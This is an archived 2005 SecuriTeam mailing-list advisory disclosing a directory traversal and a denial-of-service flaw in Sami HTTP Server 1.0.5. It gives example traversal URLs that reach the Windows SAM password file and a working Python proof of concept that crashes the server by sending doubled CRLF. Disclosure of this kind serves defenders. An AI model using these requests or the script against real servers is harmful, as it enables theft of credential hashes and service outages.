[NT] Sami HTTP Server Directory Traversal and DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 02/17/05

  • Next message: SecuriTeam: "[UNIX] CubeCart Multiple Vulnerabilities (Directory Traversal, Path Disclosure, XSS)" 
    To: list@securiteam.com
Date: 17 Feb 2005 16:43:08 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Sami HTTP Server Directory Traversal and DoS
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.karja.com/samihttp/> Sami HTTP Server is an easy to set up
    webserver, for when you value simplicity and ease of use".

    Multiple vulnerabilities in Sami HTTP Server allow an attacker to read
    arbitrary files on a vulnerable host and crash the server.

    DETAILS

    Vulnerable Systems:
     * Sami HTTP Server v1.0.5.

    Directory Traversal:
    A remote user can obtain files on the system that are located outside of
    the web document directory.
    Example:
    http://[Target]/../../winnt/repair/sam
    http://[Target]/%2e%2e/%2e%2e/winnt/repair/sam

    Denial of Service:
    The web server can be crashed by sending two Carriage Return (CR) and Line
    Feed (LF) [ \x0d\x0a ].

    Proof of Concept Code:
    #############################################
    # GSS-IT Research And Security Labs #
    #############################################
    # #
    # www.gssit.co.il #
    # #
    #############################################
    # Sami HTTP Web Server Ver 1.0.5 Denial Of Service PoC #
    #############################################
    # Use This PoC For Educational Purposes Only #
    #############################################

    import sys
    import socket

    print("#############################################\n")
    print("# Sami HTTP Web Server Ver 1.0.5 Denial Of Service PoC #\n")
    print("#############################################\n\n")

    if (len(sys.argv) < 3 ) :
     print "Usage: %s <Target> <Port>" %sys.argv[0]
     sys.exit(0)

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    target = sys.argv[1]
    port = int(sys.argv[2])

    try:
     server.connect((target,port))
     print "Sending CRLF ...\n\n"
     server.send("\x0d\x0a\x0d\x0a")
     server.close()
     print "Done ... Check your web server"
    except:
     print "Cannot connect to http server on %s" %target

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:gss_it@yahoo.com> GSS IT.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] CubeCart Multiple Vulnerabilities (Directory Traversal, Path Disclosure, XSS)"

    Relevant Pages